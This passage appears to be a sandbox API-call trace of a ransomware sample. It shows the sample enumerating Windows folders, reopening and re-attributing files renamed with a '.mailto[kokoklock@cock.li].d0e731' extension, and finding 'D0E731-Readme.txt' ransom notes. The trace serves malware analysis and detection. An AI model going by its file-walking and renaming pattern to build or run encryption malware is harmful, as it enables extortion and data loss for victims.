Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.648] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.648] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff22a0) returned 1 [0171.648] RtlExitUserThread (Status=0x0) Thread: id = 2032 os_tid = 0x10a8 [0171.652] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.653] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.653] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.653] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0950) returned 1 [0171.653] RtlExitUserThread (Status=0x0) Thread: id = 2033 os_tid = 0x10ac [0171.657] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.658] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.658] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.658] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.658] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff21c8) returned 1 [0171.658] RtlExitUserThread (Status=0x0) Thread: id = 2034 os_tid = 0x10b0 [0171.664] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.665] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.665] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.665] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.665] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0e60) returned 1 [0171.665] RtlExitUserThread (Status=0x0) Thread: id = 2035 os_tid = 0x10b4 [0171.669] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.669] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.669] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.670] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.670] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff16d0) returned 1 [0171.670] RtlExitUserThread (Status=0x0) Thread: id = 2036 os_tid = 0x10b8 [0171.671] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.671] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.671] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.671] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0f38) returned 1 [0171.671] RtlExitUserThread (Status=0x0) Thread: id = 2037 os_tid = 0x10bc [0171.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6e) returned 0x30130f8 [0171.673] wcscpy (in: _Dest=0x30130f8, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0171.673] wcscat (in: _Dest=0x30130f8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0171.673] wcscat (in: _Dest=0x30130f8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*" [0171.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023590 [0171.673] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*", lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806e0 [0171.675] wcscmp (_String1=".", _String2=".") returned 0 [0171.675] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.675] wcscmp (_String1="..", _String2=".") returned 1 [0171.675] wcscmp (_String1="..", _String2="..") returned 0 [0171.675] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7d804c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b7d804c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b7d804c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0171.675] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0171.675] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0171.675] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8b7d804c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa0b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe-desktop.css.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="OOBE-D~1.D0E")) returned 1 [0171.675] wcscmp (_String1="oobe-desktop.css.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.675] wcscmp (_String1="oobe-desktop.css.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.675] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff1e68 [0171.675] wcscpy (in: _Dest=0x2ff1e68, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0171.675] wcscat (in: _Dest=0x2ff1e68, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0171.675] wcscat (in: _Dest=0x2ff1e68, _Source="oobe-desktop.css.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.mailto[kokoklock@cock.li].d0e731" [0174.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0174.166] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8b7fe2ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x41c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-dark.css.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UI-DAR~1.D0E")) returned 1 [0174.166] wcscmp (_String1="ui-dark.css.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.166] wcscmp (_String1="ui-dark.css.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2fc3d68 [0174.166] wcscpy (in: _Dest=0x2fc3d68, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0174.166] wcscat (in: _Dest=0x2fc3d68, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0174.166] wcscat (in: _Dest=0x2fc3d68, _Source="ui-dark.css.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.mailto[kokoklock@cock.li].d0e731" [0174.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0174.167] FindNextFileW (in: hFindFile=0x2f806e0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8b7fe2ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x41c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-dark.css.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UI-DAR~1.D0E")) returned 0 [0174.167] FindClose (in: hFindFile=0x2f806e0 | out: hFindFile=0x2f806e0) returned 1 [0174.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023590) returned 1 [0174.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30130f8) returned 1 [0174.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0174.168] RtlExitUserThread (Status=0x0) Thread: id = 2038 os_tid = 0x10c0 [0171.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x30131e8 [0171.676] wcscpy (in: _Dest=0x30131e8, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0171.676] wcscat (in: _Dest=0x30131e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0171.676] wcscat (in: _Dest=0x30131e8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*" [0171.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021648 [0171.676] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*", lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80860 [0171.677] wcscmp (_String1=".", _String2=".") returned 0 [0171.677] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.678] wcscmp (_String1="..", _String2=".") returned 1 [0171.678] wcscmp (_String1="..", _String2="..") returned 0 [0171.678] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8b7fe2ea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1396c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.js.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BASEJS~1.D0E")) returned 1 [0171.678] wcscmp (_String1="base.js.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.678] wcscmp (_String1="base.js.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.678] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0b520 [0171.678] wcscpy (in: _Dest=0x4f0b520, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0171.678] wcscat (in: _Dest=0x4f0b520, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0171.678] wcscat (in: _Dest=0x4f0b520, _Source="base.js.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.mailto[kokoklock@cock.li].d0e731" [0174.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0174.163] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b824581, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.163] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.163] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.163] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2e7eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui.js.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UIJSMA~1.D0E")) returned 1 [0174.163] wcscmp (_String1="ui.js.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.163] wcscmp (_String1="ui.js.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f9e370 [0174.163] wcscpy (in: _Dest=0x2f9e370, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0174.163] wcscat (in: _Dest=0x2f9e370, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0174.163] wcscat (in: _Dest=0x2f9e370, _Source="ui.js.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.mailto[kokoklock@cock.li].d0e731" [0174.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9e370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0174.164] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2e7eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui.js.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UIJSMA~1.D0E")) returned 0 [0174.164] FindClose (in: hFindFile=0x2f80860 | out: hFindFile=0x2f80860) returned 1 [0174.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021648) returned 1 [0174.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30131e8) returned 1 [0174.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70e48) returned 1 [0174.164] RtlExitUserThread (Status=0x0) Thread: id = 2039 os_tid = 0x10c4 [0171.678] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.679] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.679] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.679] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.679] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055868) returned 1 [0171.679] RtlExitUserThread (Status=0x0) Thread: id = 2040 os_tid = 0x10c8 [0171.680] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.681] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.681] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.681] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.681] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056780) returned 1 [0171.681] RtlExitUserThread (Status=0x0) Thread: id = 2041 os_tid = 0x10cc [0171.682] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0171.682] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.682] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.682] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.682] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055588) returned 1 [0171.682] RtlExitUserThread (Status=0x0) Thread: id = 2042 os_tid = 0x10d0 [0171.683] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: 